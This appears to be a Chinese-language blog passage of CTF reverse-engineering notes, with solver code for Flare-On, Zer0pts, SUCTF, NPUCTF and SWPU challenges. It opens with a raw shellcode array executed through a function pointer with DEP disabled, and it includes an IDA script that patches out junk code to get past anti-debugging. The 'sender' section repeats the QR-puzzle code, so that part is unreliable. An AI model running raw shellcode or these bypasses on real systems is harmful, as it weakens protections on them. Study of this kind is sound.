uint16_t shellcode[] = { 0x72f9,0x4649,0x1525,0x7f0d,0x3d3c,0xe084,0xd62a,0xe139,0xa84a,0x76b9,0x9824,0x7378,0x7d71,0x757f,0x2076,0x96d4,0xba91,0x1970,0xb8f9,0xe232,0x467b,0x9ba8,0xfe01,0xc7c6,0xe3c1,0x7e24,0x437c,0xe180,0xb115,0xb3b2,0x4f66,0x27b6,0x9f3c,0x7a4e,0x412d,0xbbbf,0x7705,0xf528,0x9293,0x9990,0xa998,0x0a47,0x14eb,0x3d49,0x484b,0x372f,0xb98d,0x3478,0x0bb4,0xd5d2,0xe031,0x3572,0xd610,0x6740,0x2bbe,0x4afd,0x041c,0x3f97,0xfc3a,0x7479,0x421d,0xb7b5,0x0c2c,0x130d,0x25f8,0x76b0,0x4e79,0x7bb1,0x0c66,0x2dbb,0x911c,0xa92f,0xb82c,0x8db0,0x0d7e,0x3b96,0x49d4,0xd56b,0x03b7,0xe1f7,0x467d,0x77b9,0x3d42,0x111d,0x67e0,0x4b92,0xeb85,0x2471,0x9b48,0xf902,0x4f15,0x04ba,0xe300,0x8727,0x9fd6,0x4770,0x187a,0x73e2,0xfd1b,0x2574,0x437c,0x4190,0x97b6,0x1499,0x783c,0x8337,0xb3f8,0x7235,0x693f,0x98f5,0x7fbe,0x4a75,0xb493,0xb5a8,0x21bf,0xfcd0,0x3440,0x057b,0xb2b2,0x7c71,0x814e,0x22e1,0x04eb,0x884a,0x2ce2,0x492d,0x8d42,0x75b3,0xf523,0x727f,0xfc0b,0x0197,0xd3f7,0x90f9,0x41be,0xa81c,0x7d25,0xb135,0x7978,0xf80a,0xfd32,0x769b,0x921d,0xbbb4,0x77b8,0x707e,0x4073,0x0c7a,0xd689,0x2491,0x1446,0x9fba,0xc087,0x0dd4,0x4bb0,0xb62f,0xe381,0x0574,0x3fb9,0x1b67,0x93d5,0x8396,0x66e0,0x47b5,0x98b7,0x153c,0xa934,0x3748,0x3d27,0x4f75,0x8cbf,0x43e2,0xb899,0x3873,0x7deb,0x257a,0xf985,0xbb8d,0x7f91,0x9667,0xb292,0x4879,0x4a3c,0xd433,0x97a9,0x377e,0xb347,0x933d,0x0524,0x9f3f,0xe139,0x3571,0x23b4,0xa8d6,0x8814,0xf8d1,0x4272,0x76ba,0xfd08,0xbe41,0xb54b,0x150d,0x4377,0x1174,0x78e3,0xe020,0x041c,0x40bf,0xd510,0xb727,0x70b1,0xf52b,0x222f,0x4efc,0x989b,0x901d,0xb62c,0x4f7c,0x342d,0x0c66,0xb099,0x7b49,0x787a,0x7f7e,0x7d73,0xb946,0xb091,0x928d,0x90bf,0x21b7,0xe0f6,0x134b,0x29f5,0x67eb,0x2577,0xe186,0x2a05,0x66d6,0xa8b9,0x1535,0x4296,0x3498,0xb199,0xb4ba,0xb52c,0xf812,0x4f93,0x7b76,0x3079,0xbefd,0x3f71,0x4e40,0x7cb3,0x2775,0xe209,0x4324,0x0c70,0x182d,0x02e3,0x4af9,0xbb47,0x41b6,0x729f,0x9748,0xd480,0xd528,0x749b,0x1c3c,0xfc84,0x497d,0x7eb8,0xd26b,0x1de0,0x0d76,0x3174,0x14eb,0x3770,0x71a9,0x723d,0xb246,0x2f78,0x047f,0xb6a9,0x1c7b,0x3a73,0x3ce1,0x19be,0x34f9,0xd500,0x037a,0xe2f8,0xb024,0xfd4e,0x3d79,0x7596,0x9b15,0x7c49,0xb42f,0x9f4f,0x4799,0xc13b,0xe3d0,0x4014,0x903f,0x41bf,0x4397,0xb88d,0xb548,0x0d77,0x4ab2,0x2d93,0x9267,0xb198,0xfc1a,0xd4b9,0xb32c,0xbaf5,0x690c,0x91d6,0x04a8,0x1dbb,0x4666,0x2505,0x35b7,0x3742,0x4b27,0xfc90,0xd233,0x30b2,0xff64,0x5a32,0x528b,0x8b0c,0x1452,0x728b,0x3328,0xb1c9,0x3318,0x33ff,0xacc0,0x613c,0x027c,0x202c,0xcfc1,0x030d,0xe2f8,0x81f0,0x5bff,0x4abc,0x8b6a,0x105a,0x128b,0xda75,0x538b,0x033c,0xffd3,0x3472,0x528b,0x0378,0x8bd3,0x2072,0xf303,0xc933,0xad41,0xc303,0x3881,0x6547,0x5074,0xf475,0x7881,0x7204,0x636f,0x7541,0x81eb,0x0878,0x6464,0x6572,0xe275,0x8b49,0x2472,0xf303,0x8b66,0x4e0c,0x728b,0x031c,0x8bf3,0x8e14,0xd303,0x3352,0x57ff,0x6168,0x7972,0x6841,0x694c,0x7262,0x4c68,0x616f,0x5464,0xff53,0x68d2,0x3233,0x0101,0x8966,0x247c,0x6802,0x7375,0x7265,0xff54,0x68d0,0x786f,0x0141,0xdf8b,0x5c88,0x0324,0x6168,0x6567,0x6842,0x654d,0x7373,0x5054,0x54ff,0x2c24,0x6857,0x2144,0x2121,0x4f68,0x4e57,0x8b45,0xe8dc,0x0000,0x0000,0x148b,0x8124,0x0b72,0xa316,0x32fb,0x7968,0xbece,0x8132,0x1772,0x45ae,0x48cf,0xc168,0xe12b,0x812b,0x2372,0x3610,0xd29f,0x7168,0xfa44,0x81ff,0x2f72,0xa9f7,0x0ca9,0x8468,0xcfe9,0x8160,0x3b72,0x93be,0x43a9,0xd268,0x98a3,0x8137,0x4772,0x8a82,0x3b62,0xef68,0x11a4,0x814b,0x5372,0x47d6,0xccc0,0xbe68,0xa469,0x81ff,0x5f72,0xcaa3,0x3154,0xd468,0x65ab,0x8b52,0x57cc,0x5153,0x8b57,0x89f1,0x83f7,0x1ec7,0xfe39,0x0b7d,0x3681,0x4542,0x4645,0xc683,0xeb04,0xfff1,0x68d0,0x7365,0x0173,0xdf8b,0x5c88,0x0324,0x5068,0x6f72,0x6863,0x7845,0x7469,0xff54,0x2474,0xff40,0x2454,0x5740,0xd0ff };
int main() {

((void(*)()) & shellcode)();
return 0;
}

windows上面关闭DEP,编译调试,就得到flag了

[rev][FlareOn6]demo

IDA7.5识别不了

https://0xdf.gitlab.io/flare-on-2019/demo.html#

https://malwareunicorn.org/workshops/flareon6_2019.html#5

看wp,加了https://github.com/runestubbe/Crinkler 壳,可以使用esp定律法脱壳

具体做法:x32dbg调试在主函数中发现了pushad,可以使用graph命令绘制流程图,然后发现多次pushad,popad,直接执行到ret,再单步即可脱壳。

接下来可以获取各个函数的功能

最后有个D3DXTranslation,把第一个参数改为0即可

[rev][Zer0pts2020]QR Puzzle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>
// #include <setimp.h>
typedef struct KeyList{
uint32_t k1,k2,k3;
struct KeyList* next;
} KeyList;
void printArray(const char *name,uint8_t *v,size_t len){
printf("========%s=========\n",name);
for(size_t i=0;i<len;i++){
printf("0x%02X,",v[i]);
}
printf("\n=================\n");
}

void decrypt (uint8_t **data, KeyList*klp) {
uint8_t v2,v3,*v4,*v5;
while(klp->next){
switch(klp->k3){
case 0:
v3=klp->k1-1;
v2=klp->k2;
break;
case 1:
v3=klp->k1+1;
v2=klp->k2;
break;
case 2:
v3=klp->k1;
v2=klp->k2-1;
break;
case 3:
v3=klp->k1;
v2=klp->k2+1;
}
v4=data[klp->k2];
v5=data[v2];
v4[klp->k1]+=v5[v3];
v5[v3]=v4[klp->k1]-v5[v3];
v4[klp->k1]-=v5[v3];
klp=klp->next;
}
}
void readKey(KeyList *klp){
FILE *f = fopen("key","r");
while(fscanf(f,"%d#(%d,%d)",&klp->k3,&klp->k1,&klp->k2)==3){
klp->next=(KeyList*)malloc(sizeof(KeyList));
klp=klp->next;
}
klp->next=NULL;
fclose(f);
}
uint8_t** readData(){
FILE *f = fopen("encrypted.qr","r");
uint8_t **data = (uint8_t **)malloc(sizeof(char*)*25);
for(size_t i=0;i<25;i++){
data[i] = (uint8_t *)malloc(sizeof(uint8_t)*26);
fscanf(f,"%s",(char*)data[i]);
for(size_t j=0;j<25;j++){
data[i][j] -='0';
}
}
fclose(f);
return data;
}
void writeData(uint8_t **data){
FILE *f = fopen("decrypted.qr","w");
for(size_t i=0;i<25;i++){
for(size_t j=0;j<25;j++){
fputc(data[i][j]+'0',f);
}
fputc('\n',f);
}
fclose(f);
}
int main(){
uint8_t**data=readData();
KeyList kl;
readKey(&kl);
decrypt(data,&kl);
writeData(data);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from matplotlib import pyplot as plt
import numpy as np
lines = []
with open('decrypted.qr','r') as f:
lines = f.readlines()
print(len(lines),len(lines[0]))
img = []
for i in lines:
img0 = []
for j in i[:-1]:
img0.append(0 if j=='0' else 1)
img.append(img0)
plt.imshow(img)
plt.show()

[rev][FlareOn2]sender

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>
// #include <setimp.h>
typedef struct KeyList{
uint32_t k1,k2,k3;
struct KeyList* next;
} KeyList;
void printArray(const char *name,uint8_t *v,size_t len){
printf("========%s=========\n",name);
for(size_t i=0;i<len;i++){
printf("0x%02X,",v[i]);
}
printf("\n=================\n");
}

void decrypt (uint8_t **data, KeyList*klp) {
uint8_t v2,v3,*v4,*v5;
while(klp->next){
switch(klp->k3){
case 0:
v3=klp->k1-1;
v2=klp->k2;
break;
case 1:
v3=klp->k1+1;
v2=klp->k2;
break;
case 2:
v3=klp->k1;
v2=klp->k2-1;
break;
case 3:
v3=klp->k1;
v2=klp->k2+1;
}
v4=data[klp->k2];
v5=data[v2];
v4[klp->k1]+=v5[v3];
v5[v3]=v4[klp->k1]-v5[v3];
v4[klp->k1]-=v5[v3];
klp=klp->next;
}
}
void readKey(KeyList *klp){
FILE *f = fopen("key","r");
while(fscanf(f,"%d#(%d,%d)",&klp->k3,&klp->k1,&klp->k2)==3){
klp->next=(KeyList*)malloc(sizeof(KeyList));
klp=klp->next;
}
klp->next=NULL;
fclose(f);
}
uint8_t** readData(){
FILE *f = fopen("encrypted.qr","r");
uint8_t **data = (uint8_t **)malloc(sizeof(char*)*25);
for(size_t i=0;i<25;i++){
data[i] = (uint8_t *)malloc(sizeof(uint8_t)*26);
fscanf(f,"%s",(char*)data[i]);
for(size_t j=0;j<25;j++){
data[i][j] -='0';
}
}
fclose(f);
return data;
}
void writeData(uint8_t **data){
FILE *f = fopen("decrypted.qr","w");
for(size_t i=0;i<25;i++){
for(size_t j=0;j<25;j++){
fputc(data[i][j]+'0',f);
}
fputc('\n',f);
}
fclose(f);
}
int main(){
uint8_t**data=readData();
KeyList kl;
readKey(&kl);
decrypt(data,&kl);
writeData(data);
return 0;
}

[rev][SUCTF2018]HelloPython

tea加密,查看题目来源的题目描述得到密文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>
// #include <setimp.h>

void printArray(const char *name,uint8_t *v,size_t len){
printf("========%s=========\n",name);
for(size_t i=0;i<len;i++){
printf("0x%02X,",v[i]);
}
printf("\n=================\n");
}

void encrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
} /* end cycle */
v[0]=v0; v[1]=v1;
}

void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
int main(){
uint32_t v[] = {0xf1f5d29b,0x6e4414ec,};
uint32_t k[] = {3735928559, 590558003, 19088743, 4275878552};
decrypt(v,k);
printf("flag{%x_%x}\n",v[0],v[1]);
return 0;
}

[rev][NPUCTF2020]Anti-IDA

从后往前逆向算法

  1. base16解码
  2. 翻转字符串得到targeta
  3. 根据targeta的范围可以确定dword_4321c0的范围,从而确定是sub_4015f0初始化dword_4321c0
  4. 根据计算v39=11
  5. 根据最大公约数确定dword_4324c0
  6. 后面一系列处理

参考 https://www.sqx-ub1sec.tech/ctfweb%E4%B8%93%E5%8C%BA/%E5%87%BA%E9%A2%98%E6%89%8B%E8%AE%B0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# encoding:utf-8

target = '3D393A37343C39373A343A373D36363A3B3934333539363437373934383736373B38333D3D3D37313C3B3A36353C393437373C383E343434393B34343C37343E373B3C3938343C3C39383238373F36323C3C3933383939363535373A373535393F373D34373C343535393C39383336363B37333639353435393B3D313636363B35363833383D35333E3A3532383837353438373E373437343E34363A3D3A3233393939323735393A3D363B3B3736333B3C3436313F3C3D3435363537353739343A33343239383334363E3339373B373A3634373D3B3632373C3B35323D373732383739353435353A3834353538343934'
import gmpy2
def getScope(a):
res = set()
for i in range(-128,0x7f):
res.add(i)
for i in a:
s = set()
for j in range(-128,0x7f):
if i-j>=48 and i-j <58:
s.add(j)
res&=s
print(a,res)
return res
targeta = []
for i in range(0,len(target),2):
targeta.append(int(target[i:i+2],base=16))
print(targeta)
targeta = targeta[::-1]
input1 = [0]*len(targeta)
inp_a4321c0 = [0]*len(targeta)
for i in range(len(targeta)):
inp_a4321c0[i]=targeta[i]-(i%4)
print(inp_a4321c0)
# 根据输入的范围确定dword_4321c0
scopes = []
for i in range(7):
a = []
for j in range(0,len(inp_a4321c0),7):
if i+j<len(inp_a4321c0):
a.append(inp_a4321c0[i+j])
scopes.append(getScope(a))
print(scopes)
a4321c0 = [4,5,2,3,1,4,2]
for i in range(len(targeta)):
input1[i] = inp_a4321c0[i]-a4321c0[i%7]
print('len(input1)=',len(input1))
input1 = str(bytes(input1),encoding='utf-8')
input2 = []
for i in range(0,len(input1),5):
input2.append(int(input1[i:i+5],base=10))
print(input2)
# for i in range(len(input2)):
# input2[i]-=2*i+a4321c0[i%7]
# print(input2)
for i in range(len(input2)):
input2[i]-=i**2-i
a4324c0=[]
for i in range(7):
a = input2[i]
for j in range(0,len(input2),7):
if i+j<len(input2):
a=gmpy2.gcd(input2[i+j],a)
a4324c0.append(a)
print(a4324c0)
for i in range(len(input2)):
input2[i]//=a4324c0[i%7]
print(input2)
a4322c0 = [0]*6
for i in range(6):
a4322c0[i]=2*i+1
decrypt = lambda a1,a2:(a2%4)^a4322c0[a2%6]^a1
for i in range(len(input2)):
input2[i]-=2*i
input2[i] = decrypt(input2[i],i)
input2[i]-=a4321c0[i%7]
input2 = str(bytes(input2),encoding='utf-8')[::-1]
print(input2)
input3 = []
for i in range(0,len(input2),2):
input3.append(int(input2[i:i+2],base=16))
print(len(input3),input3)
for i in range(1,len(input3)):
input3[i]-=input3[i-1]
input3[i]+=0x100
input3[i]&=0xff
print(input3,bytes(input3))
input3[23]-=10
for i in range(len(input3)-2,-1,-1):
input3[i]-=input3[i+1]
input3[i]+=0x100
input3[i]&=0xff
print(input3)
print(bytes(input3))
for i in range(len(input3)):
input3[i]+=32
input3[i]+=0x100
input3[i]&=0xff
print(input3,bytes(input3))

本来可以不看wp就对的,两处不认真 🌿

[rev][FlareOn5]web2.0

参考 https://www.fireeye.com/blog/threat-research/2018/10/2018-flare-on-challenge-solutions.html

webassembly

本来想用wabt先反编译成C再分析,可是似乎太麻烦了,于是寻找简单的做法

反编译成C后可以再回编译为可执行文件,然后用ida打开

也可以用webassembly studio https://webassembly.studio/

webassembly studio可以配合火狐的SpiderMokey插件查看Firefox的JIT过程,可以看到x86汇编代码的

ida有插件 https://github.com/fireeye/idawasm

https://mbebenita.github.io/WasmExplorer/ 这个工具似乎比studio好用不少

https://www.52pojie.cn/misc.php?mod=faq

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# encoding:utf-8

a = [0xE4, 0x47, 0x30, 0x10, 0x61, 0x24, 0x52, 0x21, 0x86, 0x40, 0xAD, 0xC1, 0xA0, 0xB4, 0x50, 0x22, 0xD0, 0x75, 0x32, 0x48, 0x24, 0x86, 0xE3, 0x48, 0xA1, 0x85, 0x36, 0x6D, 0xCC, 0x33, 0x7B, 0x6E, 0x93, 0x7F, 0x73, 0x61, 0xA0, 0xF6, 0x86, 0xEA, 0x55, 0x48, 0x2A, 0xB3, 0xFF, 0x6F, 0x91, 0x90, 0xA1, 0x93, 0x70, 0x7A, 0x06, 0x2A, 0x6A, 0x66, 0x64, 0xCA, 0x94, 0x20, 0x4C, 0x10, 0x61, 0x53, 0x77, 0x72, 0x42, 0xE9, 0x8C, 0x30, 0x2D, 0xF3, 0x6F, 0x6F, 0xB1, 0x91, 0x65, 0x24, 0x0A, 0x14, 0x21, 0x42, 0xA3, 0xEF, 0x6F, 0x55, 0x97, 0xD6]
flag = ''
cnt=0
while cnt<len(a):
op = a[cnt]&0xf
res = 0
if op==0:
res=a[cnt+1]
cnt+=2
elif op==1:
res=~a[cnt+1]
cnt+=2
elif op==2:
res=a[cnt+1]^a[cnt+2]
cnt+=3
elif op==3:
res=a[cnt+1]&a[cnt+2]
cnt+=3
elif op==4:
res=a[cnt+1]|a[cnt+2]
cnt+=3
elif op==5:
res=a[cnt+1]+a[cnt+2]
cnt+=3
elif op==6:
res=a[cnt+2]-a[cnt+1]
cnt+=3
res+=0x100
res&=0xff
flag+=chr(res)
print(flag)

[rev][SWPU2019]RE1

sub_4059e0,猜测是父子进程调试

流程大概是父进程创建子进程,然后创建线程不断给子进程发信号15,直到子进程退出

调试的时候程序CreateWindowExA会异常停止,不调试没问题。

https://www.anquanke.com/post/id/194640#h3-11

https://zhuanlan.zhihu.com/p/96698636

sub_401c50,sub_401470都是反调试

去花脚本

1
2
3
4
5
6
7
8
9
10
#end = 0x44F3C0
end = 0x405758
start = 0x405060
for i in range(start,end):
now = get_bytes(i,3)
far = get_bytes(i+0x75-0x6f+3,4)
if now=='\x83\xec\x04' and far=='\x60\x0f\xfb\x7f':
for j in range(i,i+0x9f-0x6f):
patch_byte(j,0x90)
print('patched %x'%i)

需要先过反调试

可以通过CE搜索字符串找到基址,然后IDA交叉引用找到关键代码

TODO

[Crypto]密码学的心声

八进制,已经提示没有8了= =

[rev]SUCTF2019]babyunic

搜索un_open发现是unicorn-engine

流程大概是打开func文件,然后以mips 大端模式执行代码

使用ghidra可以反编译代码

关于架构和模式信息,可以查看unicorn/unicorn.h

参考: https://www.52pojie.cn/thread-1039478-1-1.html#28221000_babyunic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
import base64
import hashlib
from z3 import *

# param_1 = [BitVec("param_1%d"%i,32) for i in range(0x2a)]
# 由于BitVec要考虑溢出的问题,所以速度要慢好多
param_1 = [Int('p%d'%i)for i in range(0x2a)]

param_2 = [0x94ffffff, 0x38ffffff, 0x26010000, 0x28ffffff, 0x10fcffff, 0x94020000, 0x9efcffff, 0xea060000, 0xdc000000, 0x6000000, 0xcffffff, 0xf6fdffff, 0x82faffff, 0xd0fcffff, 0x82010000, 0xde030000, 0x4e010000, 0xb2020000, 0xd8f8ffff, 0x74010000, 0xa6faffff, 0xd4f9ffff, 0xc2010000, 0x7cf9ffff, 0x5a030000, 0x46010000, 0x3cffffff, 0x14faffff, 0xce010000, 0xdc070000, 0x48fdffff, 0x98000000, 0x5e080000, 0xb0fdffff, 0xbcffffff, 0x6e030000, 0x4effffff, 0x36f8ffff, 0xc0050000, 0xae060000, 0x94060000, 0x22000000]
# 此处注意大小端转化
for i in range(len(param_2)):
t = param_2[i]
param_2[i] = ((t&0xff)<<24)|((t&0xff000000)>>24)|((t<<8)&0x00ff0000)|((t>>8)&0xff00)
if param_2[i]>=0x80000000:
param_2[i]-=0x100000000
param_2[i] = IntVal(param_2[i])
print()
s = Solver()

for i in param_1:
s.add(i>=0)
s.add(i<=0xff)

s.add(param_2[0] == (((((((((((((((((((((((((((((((param_1[0] + param_1[1] + param_1[2]) -
param_1[3]) + param_1[4]) - param_1[5])
- param_1[6]) - param_1[7]) - param_1[8]) +
param_1[9] + param_1[10]) - param_1[0xb]) +
param_1[0xc]) - param_1[0xd]) - param_1[0xe]) +
param_1[0xf]) - param_1[0x10]) - param_1[0x11]) +
param_1[0x12] + param_1[0x13]) - param_1[0x14]) +
param_1[0x15] + param_1[0x16] + param_1[0x17] +
param_1[0x18]) - param_1[0x19]) + param_1[0x1a]) -
param_1[0x1b]) + param_1[0x1c] + param_1[0x1d]) -
param_1[0x1e]) - param_1[0x1f]) + param_1[0x20]) -
param_1[0x21]) + param_1[0x22] + param_1[0x23]) -
param_1[0x24]) - param_1[0x25]) + param_1[0x26]) -
param_1[0x27]) + param_1[0x28] + param_1[0x29])
s.add(param_2[1] == ((((((((((((((((((((((((((((((((((param_1[0] - param_1[1]) +
param_1[2]) - param_1[3]) -
param_1[4]) + param_1[5]) -
param_1[6]) - param_1[7]) - param_1[8])
- param_1[9]) + param_1[10]) -
param_1[0xb]) + param_1[0xc]) - param_1[0xd]
) - param_1[0xe]) + param_1[0xf]) -
param_1[0x10]) - param_1[0x11]) + param_1[0x12])
- param_1[0x13]) + param_1[0x14] + param_1[0x15]) -
param_1[0x16]) - param_1[0x17]) - param_1[0x18]) +
param_1[0x19]) - param_1[0x1a]) + param_1[0x1b]) -
param_1[0x1c]) - param_1[0x1d]) + param_1[0x1e] +
param_1[0x1f] + param_1[0x20] + param_1[0x21] +
param_1[0x22] + param_1[0x23]) - param_1[0x24]) -
param_1[0x25]) - param_1[0x26]) - param_1[0x27]) -
param_1[0x28]) + param_1[0x29])
s.add(param_2[2] == (((((((((((((((((((((((((((((param_1[0] - param_1[1]) + param_1[2] +
param_1[3]) - param_1[4]) + param_1[5])
- param_1[6]) - param_1[7]) + param_1[8]) -
param_1[9]) - param_1[10]) - param_1[0xb]) -
param_1[0xc]) - param_1[0xd]) + param_1[0xe]) -
param_1[0xf]) - param_1[0x10]) + param_1[0x11] +
param_1[0x12] + param_1[0x13] + param_1[0x14] +
param_1[0x15]) - param_1[0x16]) + param_1[0x17] +
param_1[0x18] + param_1[0x19] + param_1[0x1a]) -
param_1[0x1b]) + param_1[0x1c]) - param_1[0x1d]) +
param_1[0x1e]) - param_1[0x1f]) + param_1[0x20] +
param_1[0x21]) - param_1[0x22]) - param_1[0x23]) +
param_1[0x24] + param_1[0x25] + param_1[0x26]) -
param_1[0x27]) + param_1[0x28]) - param_1[0x29])
s.add(param_2[3] == (((((((((((((((((((((((((((((((param_1[0] - param_1[1]) - param_1[2])
- param_1[3]) - param_1[4]) -
param_1[5]) + param_1[6] + param_1[7]) -
param_1[8]) - param_1[9]) - param_1[10]) -
param_1[0xb]) + param_1[0xc]) - param_1[0xd])
+ param_1[0xe]) - param_1[0xf]) + param_1[0x10])
- param_1[0x11]) + param_1[0x12] + param_1[0x13] +
param_1[0x14]) - param_1[0x15]) + param_1[0x16] +
param_1[0x17] + param_1[0x18]) - param_1[0x19]) -
param_1[0x1a]) + param_1[0x1b]) - param_1[0x1c]) +
param_1[0x1d] + param_1[0x1e]) - param_1[0x1f]) -
param_1[0x20]) - param_1[0x21]) + param_1[0x22]) -
param_1[0x23]) + param_1[0x24] + param_1[0x25] +
param_1[0x26]) - param_1[0x27]) + param_1[0x28] +
param_1[0x29])
s.add(param_2[4] == (((((((((((((((((((((((((((((((((param_1[0] - param_1[1]) -
param_1[2]) + param_1[3]) -
param_1[4]) - param_1[5]) + param_1[6]
+ param_1[7] + param_1[8] + param_1[9])
- param_1[10]) + param_1[0xb] +
param_1[0xc]) - param_1[0xd]) +
param_1[0xe]) - param_1[0xf]) +
param_1[0x10] + param_1[0x11]) -
param_1[0x12]) + param_1[0x13]) - param_1[0x14]
) + param_1[0x15]) - param_1[0x16]) -
param_1[0x17]) - param_1[0x18]) + param_1[0x19]) -
param_1[0x1a]) - param_1[0x1b]) - param_1[0x1c]) +
param_1[0x1d] + param_1[0x1e] + param_1[0x1f]) -
param_1[0x20]) + param_1[0x21]) - param_1[0x22]) -
param_1[0x23]) + param_1[0x24]) - param_1[0x25]) +
param_1[0x26]) - param_1[0x27]) - param_1[0x28]) -
param_1[0x29])
s.add(param_2[5] == ((((((((((((((((((((((((((((param_1[0] + param_1[1] + param_1[2] +
param_1[3] + param_1[4] + param_1[5] +
param_1[6] + param_1[7] + param_1[8]) -
param_1[9]) - param_1[10]) - param_1[0xb]
) - param_1[0xc]) - param_1[0xd]) -
param_1[0xe]) + param_1[0xf]) - param_1[0x10])
+ param_1[0x11]) - param_1[0x12]) + param_1[0x13]
+ param_1[0x14]) - param_1[0x15]) + param_1[0x16])
- param_1[0x17]) + param_1[0x18]) - param_1[0x19]) +
param_1[0x1a] + param_1[0x1b]) - param_1[0x1c]) +
param_1[0x1d]) - param_1[0x1e]) + param_1[0x1f] +
param_1[0x20] + param_1[0x21]) - param_1[0x22]) -
param_1[0x23]) - param_1[0x24]) + param_1[0x25]) -
param_1[0x26]) - param_1[0x27]) + param_1[0x28] +
param_1[0x29])
s.add(param_2[6] == (((((((((((((((((((((((((((param_1[0] - param_1[1]) + param_1[2] +
param_1[3] + param_1[4]) - param_1[5]) +
param_1[6] + param_1[7] + param_1[8] +
param_1[9]) - param_1[10]) + param_1[0xb] +
param_1[0xc]) - param_1[0xd]) + param_1[0xe] +
param_1[0xf] + param_1[0x10] + param_1[0x11]) -
param_1[0x12]) - param_1[0x13]) - param_1[0x14])
- param_1[0x15]) - param_1[0x16]) - param_1[0x17]) +
param_1[0x18] + param_1[0x19]) - param_1[0x1a]) +
param_1[0x1b] + param_1[0x1c] + param_1[0x1d]) -
